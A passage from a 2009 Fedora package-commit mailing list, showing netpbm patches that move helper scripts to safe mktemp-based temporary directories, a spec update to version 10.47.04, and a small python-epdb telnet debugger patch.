-tmp4=$tempdir/pnmm4
+tmpdir=$(mktemp -d -t ppmmargin.XXXXXXX) || exit 1
+tmp1="$tmpdir/tmp1"
+tmp2="$tmpdir/tmp2"
+tmp3="$tmpdir/tmp3"
+tmp4="$tmpdir/tmp4"
 
 color="-gofigure"
 plainopt=""
@@ -43,6 +39,9 @@ while true ; do
 	shift
 	if [ ! ${1-""} ] ; then
        	    echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+            if [ -d "$tmpdir" ]; then
+                rm -rf "$tmpdir"
+            fi
 	    exit 1
 	fi
 	color="$1"
@@ -50,6 +49,9 @@ while true ; do
 	;;
 	-* )
 	echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+        if [ -d "$tmpdir" ]; then
+            rm -rf "$tmpdir"
+        fi
 	exit 1
 	;;
 	* )
@@ -60,6 +62,9 @@ done
 
 if [ ! ${1-""} ] ; then
     echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+    if [ -d "$tmpdir" ]; then
+        rm -rf "$tmpdir"
+    fi
     exit 1
 fi
 size="$1"
@@ -67,6 +72,9 @@ shift
 
 if [ ${2-""} ] ; then
     echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+    if [ -d "$tmpdir" ]; then
+        rm -rf "$tmpdir"
+    fi
     exit 1
 fi
 
@@ -103,6 +111,6 @@ else
     pnmcat -tb $plainopt $tmp3 $tmp4 $tmp3
 fi
 
-
-
-
+if [ -d "$tmpdir" ]; then
+    rm -rf "$tmpdir"
+fi
diff -up netpbm-10.47.04/editor/ppmfade.security2 netpbm-10.47.04/editor/ppmfade
--- netpbm-10.47.04/editor/ppmfade.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmfade	2009-10-21 15:03:01.000000000 +0200
@@ -14,6 +14,7 @@
 #
 #-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
 use strict;
+use File::Temp "tempdir";
 
 my $SPREAD =  1;
 my $SHIFT =   2;
@@ -111,20 +112,26 @@ if ($first_file ne "undefined") {
 
 print("Frames are " . $width . "W x " . $height . "H\n");
 
+#
+# We create a tmp-directory right here
+#
+my $tmpdir = tempdir("ppmfade.XXXXXX", CLEANUP => 1);
+
+
 if ($first_file eq "undefined") {
     print "Fading from black to ";
-    system("ppmmake \\#000 $width $height >junk1$$.ppm");
+    system("ppmmake \\#000 $width $height >$tmpdir/junk1$$.ppm");
 } else {
     print "Fading from $first_file to ";
-    system("cp", $first_file, "junk1$$.ppm");
+    system("cp", $first_file, "$tmpdir/junk1$$.ppm");
 }
 
 if ($last_file eq "undefined") {
     print "black.\n";
-    system("ppmmake \\#000 $width $height >junk2$$.ppm");
+    system("ppmmake \\#000 $width $height >$tmpdir/junk2$$.ppm");
 } else {
     print "$last_file\n";
-    system("cp", $last_file, "junk2$$.ppm");
+    system("cp", $last_file, "$tmpdir/junk2$$.ppm");
 }
 
 #
@@ -132,14 +139,14 @@ if ($last_file eq "undefined") {
 #
 
 # Here's what our temporary files are:
-#   junk1$$.ppm: The original (fade-from) image
-#   junk2$$.ppm: The target (fade-from) image
-#   junk3$$.ppm: The frame of the fade for the current iteration of the 
-#                the for loop.
-#   junk1a$$.ppm: If the fade involves a ppmmix sequence from one intermediate
-#                 image to another, this is the first frame of that 
-#                 sequence.
-#   junk2a$$.ppm: This is the last frame of the above-mentioned ppmmix sequence
+#   $tmpdir/junk1$$.ppm: The original (fade-from) image
+#   $tmpdir/junk2$$.ppm: The target (fade-from) image
+#   $tmpdir/junk3$$.ppm: The frame of the fade for the current iteration of the 
+#                	 the for loop.
+#   $tmpdir/junk1a$$.ppm: If the fade involves a ppmmix sequence from one intermediate
+#                         image to another, this is the first frame of that 
+#                         sequence.
+#   $tmpdir/junk2a$$.ppm: This is the last frame of the above-mentioned ppmmix sequence
 
 my $i;    # Frame number
 for ($i = 1; $i <= $nframes; $i++) {
@@ -147,147 +154,147 @@ for ($i = 1; $i <= $nframes; $i++) {
     if ($mode eq $SPREAD) {
         if ($i <= 10) {
             my $n = $spline20[$i] * 100;
-            system("ppmspread $n junk1$$.ppm >junk3$$.ppm");
+            system("ppmspread $n $tmpdir/junk1$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n;
             $n = $spline20[$i] * 100;
-            system("ppmspread $n junk1$$.ppm >junk1a$$.ppm");
+            system("ppmspread $n $tmpdir/junk1$$.ppm >$tmpdir/junk1a$$.ppm");
             $n = (1-$spline20[$i-10]) * 100;
-            system("ppmspread $n junk2$$.ppm >junk2a$$.ppm");
+            system("ppmspread $n $tmpdir/junk2$$.ppm >$tmpdir/junk2a$$.ppm");
             $n = $spline10[$i-10];
-            system("ppmmix $n junk1a$$.ppm junk2a$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1a$$.ppm $tmpdir/junk2a$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = (1-$spline20[$i-10])*100;
-            system("ppmspread $n junk2$$.ppm >junk3$$.ppm");
+            system("ppmspread $n $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
     } elsif ($mode eq $SHIFT) {
         if ($i <= 10) {
             my $n = $spline20[$i] * 100;
-            system("ppmshift $n junk1$$.ppm >junk3$$.ppm");
+            system("ppmshift $n $tmpdir/junk1$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n;
             $n = $spline20[$i] * 100;
-            system("ppmshift $n junk1$$.ppm >junk1a$$.ppm");
+            system("ppmshift $n $tmpdir/junk1$$.ppm >$tmpdir/junk1a$$.ppm");
             $n = (1-$spline20[$i-10])*100;
-            system("ppmshift $n junk2$$.ppm >junk2a$$.ppm");
+            system("ppmshift $n $tmpdir/junk2$$.ppm >$tmpdir/junk2a$$.ppm");
             $n = $spline10[$i-10];
-            system("ppmmix $n junk1a$$.ppm junk2a$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1a$$.ppm $tmpdir/junk2a$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = (1-$spline20[$i-10]) * 100;
-            system("ppmshift $n junk2$$.ppm >junk3$$.ppm");
+            system("ppmshift $n $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
     } elsif ($mode eq $RELIEF) {
         if ($i == 1) {
-            system("ppmrelief junk1$$.ppm >junk1r$$.ppm");
+            system("ppmrelief $tmpdir/junk1$$.ppm >$tmpdir/junk1r$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1r$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1r$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1r$$.ppm junk2r$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1r$$.ppm $tmpdir/junk2r$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2r$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2r$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmrelief junk2$$.ppm >junk2r$$.ppm");
+            system("ppmrelief $tmpdir/junk2$$.ppm >$tmpdir/junk2r$$.ppm");
         }
     } elsif ($mode eq $OIL) {
         if ($i == 1) {
-            system("ppmtopgm junk1$$.ppm | pgmoil >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk1o$$.ppm");
+            system("ppmtopgm $tmpdir/junk1$$.ppm | pgmoil >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk1o$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1o$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1o$$.ppm junk2o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1o$$.ppm $tmpdir/junk2o$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2o$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2o$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmtopgm junk2$$.ppm | pgmoil >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk2o$$.ppm");
+            system("ppmtopgm $tmpdir/junk2$$.ppm | pgmoil >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk2o$$.ppm");
         }
     } elsif ($mode eq $EDGE) {
         if ($i == 1) {
-            system("ppmtopgm junk1$$.ppm | pgmedge >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk1o$$.ppm");
+            system("ppmtopgm $tmpdir/junk1$$.ppm | pgmedge >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk1o$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1o$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1o$$.ppm junk2o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1o$$.ppm $tmpdir/junk2o$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2o$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2o$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmtopgm junk2$$.ppm | pgmedge >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk2o$$.ppm");
+            system("ppmtopgm $tmpdir/junk2$$.ppm | pgmedge >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk2o$$.ppm");
         } 
     } elsif ($mode eq $BENTLEY) {
         if ($i == 1) {
-            system("ppmtopgm junk1$$.ppm | pgmbentley >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk1o$$.ppm");
+            system("ppmtopgm $tmpdir/junk1$$.ppm | pgmbentley >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk1o$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1o$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1o$$.ppm junk2o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1o$$.ppm $tmpdir/junk2o$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2o$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2o$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmtopgm junk2$$.ppm | pgmbentley >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk2o$$.ppm");
+            system("ppmtopgm $tmpdir/junk2$$.ppm | pgmbentley >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk2o$$.ppm");
         }
     } elsif ($mode eq $BLOCK) {
         if ($i <= 10) {
             my $n = 1 - 1.9*$spline20[$i];
-            system("pamscale $n junk1$$.ppm | " .
-                   "pamscale -width $width -height $height >junk3$$.ppm");
+            system("pamscale $n $tmpdir/junk1$$.ppm | " .
+                   "pamscale -width $width -height $height >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1a$$.ppm junk2a$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1a$$.ppm $tmpdir/junk2a$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = 1 - 1.9*$spline20[31-$i];
-            system("pamscale $n junk2$$.ppm | " .
-                   "pamscale -width $width -height $height >junk3$$.ppm");
+            system("pamscale $n $tmpdir/junk2$$.ppm | " .
+                   "pamscale -width $width -height $height >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("cp", "junk3$$.ppm", "junk1a$$.ppm");
-            system("pamscale $n junk2$$.ppm | " .
-                   "pamscale -width $width -height $height >junk2a$$.ppm");
+            system("cp", "$tmpdir/junk3$$.ppm", "$tmpdir/junk1a$$.ppm");
+            system("pamscale $n $tmpdir/junk2$$.ppm | " .
+                   "pamscale -width $width -height $height >$tmpdir/junk2a$$.ppm");
         }    
     } elsif ($mode eq $MIX) {
         my $fade_factor = sqrt(1/($nframes-$i+1));
-        system("ppmmix $fade_factor junk1$$.ppm junk2$$.ppm >junk3$$.ppm");
+        system("ppmmix $fade_factor $tmpdir/junk1$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
     } else {
         print("Internal error: impossible mode value '$mode'\n");
     }
 
     my $outfile = sprintf("%s.%04d.ppm", $base_name, $i);
-    system("cp", "junk3$$.ppm", $outfile);
+    system("cp", "$tmpdir/junk3$$.ppm", $outfile);
 }
 
 #
 #  Clean up shop.
 #
-system("rm junk*$$.ppm");
+system("rm $tmpdir/junk*$$.ppm");
 
 exit(0);
diff -up netpbm-10.47.04/editor/ppmquantall.security2 netpbm-10.47.04/editor/ppmquantall
--- netpbm-10.47.04/editor/ppmquantall.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmquantall	2009-10-21 14:52:38.000000000 +0200
@@ -70,12 +70,8 @@ for i in ${files[@]}; do
     heights=(${heights[*]} `grep -v '^#' $i | sed '1d; s/.* //; 2q'`)
 done
 
-tempdir="${TMPDIR-/tmp}/ppmquantall.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting."; exit 1;}
-trap 'rm -rf $tempdir' 0 1 3 15
-
-all=$tempdir/pqa.all.$$
+all=$(mktemp -t pqa.all.XXXXXXXXXX) || exit 1
+rm -f $all
 
 pnmcat -topbottom -jleft -white ${files[@]} | pnmquant $newcolors > $all
 if [ $? != 0 ]; then
diff -up netpbm-10.47.04/editor/ppmshadow.security2 netpbm-10.47.04/editor/ppmshadow
--- netpbm-10.47.04/editor/ppmshadow.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmshadow	2009-10-21 14:51:02.000000000 +0200
@@ -72,9 +72,10 @@ sub makeConvolutionKernel($$) {
 
 
 my $tmpdir = $ENV{TMPDIR} || "/tmp";
-my $ourtmp = "$tmpdir/ppmshadow$$";
-mkdir($ourtmp, 0777) or
-    die("Unable to create directory for temporary files '$ourtmp");
+my $ourtmp; chomp($ourtmp = `mktemp -d -t PPMshadow.XXXXXX`);
+if ($? >> 8) {
+    die "Can't create directory for temporary files";
+}
 
 #   Process command line options
 

netpbm-svgtopam.patch:
 Makefile |    4 ----
 1 file changed, 4 deletions(-)

--- NEW FILE netpbm-svgtopam.patch ---
diff -up netpbm-10.35.67/converter/other/Makefile.svgtopam netpbm-10.35.67/converter/other/Makefile
--- netpbm-10.35.67/converter/other/Makefile.svgtopam	2009-09-04 13:57:06.000000000 +0200
+++ netpbm-10.35.67/converter/other/Makefile	2009-09-04 14:09:00.000000000 +0200
@@ -107,10 +107,6 @@ ifneq ($(ZLIB),NONE)
   BINARIES += pnmtops
 endif
 
-ifneq ($(XML2_LIBS),NONE)
-  BINARIES += svgtopam
-endif 
-
 MERGEBINARIES = $(BINARIES)
 
 EXTRA_OBJECTS = exif.o rast.o bmepsoe.o

netpbm-time.patch:
 config.h |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-time.patch ---
--- netpbm-10.17/converter/other/fiasco/config.h.time	2001-05-28 02:43:11.000000000 +0200
+++ netpbm-10.17/converter/other/fiasco/config.h	2003-09-08 15:23:17.000000000 +0200
@@ -19,7 +19,7 @@
 #define STDC_HEADERS 1
 
 /* Define if you can safely include both <sys/time.h> and <time.h>.  */
-#define TIME_WITH_SYS_TIME 1
+/* #undef TIME_WITH_SYS_TIME 1 */
 
 /* Define if your processor stores words with the most significant
    byte first (like Motorola and SPARC, unlike Intel and VAX).  */
@@ -79,7 +79,7 @@
 #define HAVE_STRING_H 1
 
 /* Define if you have the <sys/time.h> header file.  */
-#define HAVE_SYS_TIME_H 1
+/* #undef HAVE_SYS_TIME_H 1 */
 
 /* Define if you have the <unistd.h> header file.  */
 #define HAVE_UNISTD_H 1

netpbm-xwdfix.patch:
 xwdtopnm.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE netpbm-xwdfix.patch ---
--- netpbm-10.35/converter/other/xwdtopnm.c.xwdfix	2006-09-18 13:24:50.000000000 +0200
+++ netpbm-10.35/converter/other/xwdtopnm.c	2006-09-18 13:27:26.000000000 +0200
@@ -945,7 +945,7 @@ getpix(pixelReader * const rdrP) {
             unsigned long const bitsToTakeMask = lsbmask[nBitsToTake];
                 /* E.g. if nbitsToTake is 4, this is 0x0000000F */
 
-            unsigned long bitsToTake;
+            unsigned int bitsToTake;
                 /* The actual bits we take, in the 'nBitsToTake' low bits */
 
             assert(nBitsToTake <= 32);


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/F-12/.cvsignore,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- .cvsignore	4 Sep 2009 12:27:16 -0000	1.58
+++ .cvsignore	21 Oct 2009 16:06:18 -0000	1.59
@@ -1 +1 @@
-netpbm-10.35.67.tar.bz2
+netpbm-10.47.04.tar.xz


Index: netpbm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/F-12/netpbm.spec,v
retrieving revision 1.145
retrieving revision 1.146
diff -u -p -r1.145 -r1.146
--- netpbm.spec	4 Sep 2009 12:27:17 -0000	1.145
+++ netpbm.spec	21 Oct 2009 16:06:19 -0000	1.146
@@ -1,6 +1,6 @@
 Summary: A library for handling different graphics file formats
 Name: netpbm
-Version: 10.35.67
+Version: 10.47.04
 Release: 1%{?dist}
 # See copyright_summary for details
 License: BSD and GPLv2 and IJG and MIT and Public Domain
@@ -10,28 +10,22 @@ URL: http://netpbm.sourceforge.net/
 # svn checkout https://netpbm.svn.sourceforge.net/svnroot/netpbm/stable netpbm-%{version}
 # svn checkout https://netpbm.svn.sourceforge.net/svnroot/netpbm/userguide netpbm-%{version}/userguide
 # and removing the .svn directories
-Source0: netpbm-%{version}.tar.bz2
-Patch1: netpbm-10.17-time.patch
-Patch2: netpbm-9.24-strip.patch
-Patch3: netpbm-10.19-message.patch
-Patch4: netpbm-10.22-security2.patch
-Patch6: netpbm-10.23-security.patch
-Patch7: netpbm-10.24-nodoc.patch
-Patch8: netpbm-10.28-gcc4.patch
-Patch9: netpbm-10.27-bmptopnm.patch
-Patch10: netpbm-10.28-CAN-2005-2471.patch
-Patch11: netpbm-10.31-xwdfix.patch
-Patch12: netpbm-10.33-ppmtompeg.patch
-Patch13: netpbm-10.33-multilib.patch
-Patch14: netpbm-10.34-pamscale.patch
-Patch18: netpbm-10.35-glibc.patch
-Patch19: netpbm-10.35-gcc43.patch
-Patch20: netpbm-10.35-rgbtxt.patch
-Patch22: netpbm-10.35-pnmmontagefix.patch
-Patch23: netpbm-10.35-pnmtofiasco-stdin.patch
-Patch24: netpbm-10.35-64bitfix.patch
-Patch29: netpbm-10.35-svgtopam.patch
-Patch30: netpbm-10.35-configfix.patch
+Source0: netpbm-%{version}.tar.xz
+Patch1: netpbm-time.patch
+Patch2: netpbm-message.patch
+Patch3: netpbm-security-scripts.patch
+Patch4: netpbm-security-code.patch
+Patch5: netpbm-nodoc.patch
+Patch6: netpbm-gcc4.patch
+Patch7: netpbm-bmptopnm.patch
+Patch8: netpbm-CAN-2005-2471.patch
+Patch9: netpbm-xwdfix.patch
+Patch10: netpbm-ppmtompeg.patch
+Patch11: netpbm-multilib.patch
+Patch12: netpbm-pamscale.patch
+Patch13: netpbm-glibc.patch
+Patch14: netpbm-pnmtofiasco-stdin.patch
+Patch15: netpbm-svgtopam.patch
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: libjpeg-devel, libpng-devel, libtiff-devel, flex
 BuildRequires: libX11-devel, python, jasper-devel
@@ -74,26 +68,22 @@ netpbm-progs.  You'll also need to insta
 %prep
 %setup -q
 %patch1 -p1 -b .time
-%patch2 -p1 -b .strip
-%patch3 -p1 -b .message
-%patch4 -p1 -b .security2
-%patch6 -p1 -b .security
-%patch7 -p1 -b .nodoc
-%patch8 -p1 -b .gcc4
-%patch9 -p1 -b .bmptopnm
-%patch10 -p1 -b .CAN-2005-2471
-%patch11 -p1 -b .xwdfix
-%patch12 -p1 -b .ppmtompeg
-%patch13 -p1 -b .multilib
-%patch14 -p1 -b .pamscale
-%patch18 -p1 -b .glibc
-%patch19 -p1 -b .gcc43
-%patch20 -p1 -b .rgbtxt
-%patch22 -p1 -b .pnmmontagefix
-%patch23 -p1 -b .pnmtofiasco-stdin
-%patch24 -p1 -b .64bitfix
-%patch29 -p1 -b .svgtopam
-%patch30 -p1 -b .configfix
+%patch2 -p1 -b .message
+%patch3 -p1 -b .security-scripts
+%patch4 -p1 -b .security-code
+%patch5 -p1 -b .nodoc
+%patch6 -p1 -b .gcc4
+%patch7 -p1 -b .bmptopnm
+%patch8 -p1 -b .CAN-2005-2471
+%patch9 -p1 -b .xwdfix
+%patch10 -p1 -b .ppmtompeg
+%patch11 -p1 -b .multilib
+%patch12 -p1 -b .pamscale
+%patch13 -p1 -b .glibc
+%patch14 -p1 -b .pnmtofiasco-stdin
+%patch15 -p1 -b .svgtopam
+
+sed -i 's/STRIPFLAG = -s/STRIPFLAG =/g' config.mk.in
 
 %build
 ./configure <<EOF
@@ -207,7 +197,8 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root)
-%{_includedir}/*.h
+%dir %{_includedir}/netpbm
+%{_includedir}/netpbm/*.h
 %{_libdir}/lib*.so
 %{_mandir}/man3/*
 
@@ -219,6 +210,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/netpbm/
 
 %changelog
+* Wed Oct 21 2009 Jindrich Novy <jnovy at redhat.com> 10.47.04-1
+- update to 10.47.04 (it is now stable) (#529525)
+- fixes #502917, #482850, #482847
+
 * Fri Sep  4 2009 Jindrich Novy <jnovy at redhat.com> 10.35.67-1
 - update to 10.35.67
 - fix configuration


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/F-12/sources,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- sources	4 Sep 2009 12:27:17 -0000	1.62
+++ sources	21 Oct 2009 16:06:19 -0000	1.63
@@ -1 +1 @@
-6d9b4ec5ffbbb42cd63c94b010694194  netpbm-10.35.67.tar.bz2
+87d9e65a88c929bfbc60f9d4f3d87d5b  netpbm-10.47.04.tar.xz


--- netpbm-10.17-time.patch DELETED ---


--- netpbm-10.19-message.patch DELETED ---


--- netpbm-10.22-security2.patch DELETED ---


--- netpbm-10.23-security.patch DELETED ---


--- netpbm-10.24-nodoc.patch DELETED ---


--- netpbm-10.27-bmptopnm.patch DELETED ---


--- netpbm-10.28-CAN-2005-2471.patch DELETED ---


--- netpbm-10.28-gcc4.patch DELETED ---


--- netpbm-10.31-xwdfix.patch DELETED ---


--- netpbm-10.32-pnmdepth.patch DELETED ---


--- netpbm-10.33-multilib.patch DELETED ---


--- netpbm-10.33-ppmtompeg.patch DELETED ---


--- netpbm-10.34-pamscale.patch DELETED ---


--- netpbm-10.35-64bitfix.patch DELETED ---


--- netpbm-10.35-configfix.patch DELETED ---


--- netpbm-10.35-gcc43.patch DELETED ---


--- netpbm-10.35-glibc.patch DELETED ---


--- netpbm-10.35-pnmmontagefix.patch DELETED ---


--- netpbm-10.35-pnmtofiasco-stdin.patch DELETED ---


--- netpbm-10.35-rgbtxt.patch DELETED ---


--- netpbm-10.35-svgtopam.patch DELETED ---


--- netpbm-9.24-strip.patch DELETED ---



From jforbes at fedoraproject.org  Wed Oct 21 16:13:29 2009
From: jforbes at fedoraproject.org (Justin M. Forbes)
Date: Wed, 21 Oct 2009 16:13:29 +0000 (UTC)
Subject: rpms/python-epdb/F-12 epdb-telnet-skip.patch, NONE,
	1.1 python-epdb.spec, 1.3, 1.4
Message-ID: <20091021161329.AA18911C00E8@cvs1.fedora.phx.redhat.com>

Author: jforbes

Update of /cvs/pkgs/rpms/python-epdb/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31355

Modified Files:
	python-epdb.spec 
Added Files:
	epdb-telnet-skip.patch 
Log Message:
Allow the number of frames to be passed for telnet sessions.

epdb-telnet-skip.patch:
 epdb.py |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE epdb-telnet-skip.patch ---
diff -urpN epdb-0.11/epdb/epdb.py.old epdb-0.11/epdb/epdb.py
--- epdb-0.11/epdb/epdb.py.old	2009-10-21 11:47:45.000000000 -0400
+++ epdb-0.11/epdb/epdb.py	2009-10-21 11:47:47.000000000 -0400
@@ -111,13 +111,13 @@ class Epdb(pdb.Pdb):
     if hasTelnet:
         # telnet server support.
         # if enabled, you can serve a epdb session.
-        def serve(self, port=8080):
+        def serve(self, port=8080, skip=0):
             if not Epdb._server:
                 print 'Serving on port %s' % port
                 Epdb._server = telnetserver.InvertedTelnetServer(('', port))
                 Epdb._server.handle_request()
                 Epdb._port = port
-            self.set_trace(skip=2)
+            self.set_trace(skip=skip+2)
 
         def serve_post_mortem(self, t, exc_type=None, exc_msg=None, port=8080):
             if not Epdb._server:
@@ -956,8 +956,8 @@ def set_trace(marker='default'):
 st = set_trace
 
 if hasTelnet:
-    def serve(port=8080):
-        Epdb().serve(port)
+    def serve(port=8080, skip=0):
+        Epdb().serve(port, skip=skip)
     
     def serve_post_mortem(t, exc_type=None, exc_msg=None, port=8080):
         Epdb().serve_post_mortem(t, exc_type, exc_msg, port)


Index: python-epdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-epdb/F-12/python-epdb.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- python-epdb.spec	26 Jul 2009 20:21:35 -0000	1.3
+++ python-epdb.spec	21 Oct 2009 16:13:29 -0000	1.4
@@ -2,13 +2,14 @@
 
 Name:           python-epdb
 Version:        0.11
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Extended Python debugger
 
 Group:          Development/Debuggers
 License:        MIT
 URL:            ftp://download.rpath.com/pub/epdb/
 Source0:        ftp://download.rpath.com/pub/epdb/epdb-%{version}.tar.bz2
+Patch01:	epdb-telnet-skip.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
@@ -21,6 +22,8 @@ epdb is an extended Python debugger.
 %setup -q -n epdb-%{version}
 sed -i 's,python2.4,python,g' Make.rules epdb/epdb.py
 
+%patch01 -p1
+
 
 %build
 make %{?_smp_mflags} sitedir=%{python_sitelib}
@@ -43,6 +46,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Justin M. Forbes <jforbes at redhat.com> - 0.11-4
+- Allow the number of frames to be passed for telnet sessions.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From akurtakov at fedoraproject.org  Wed Oct 21 16:16:03 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Wed, 21 Oct 2009 16:16:03 +0000 (UTC)
Subject: rpms/easymock2/F-12 easymock2.spec,1.1,1.2
Message-ID: <20091021161603.780F611C00E8@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/easymock2/F-12
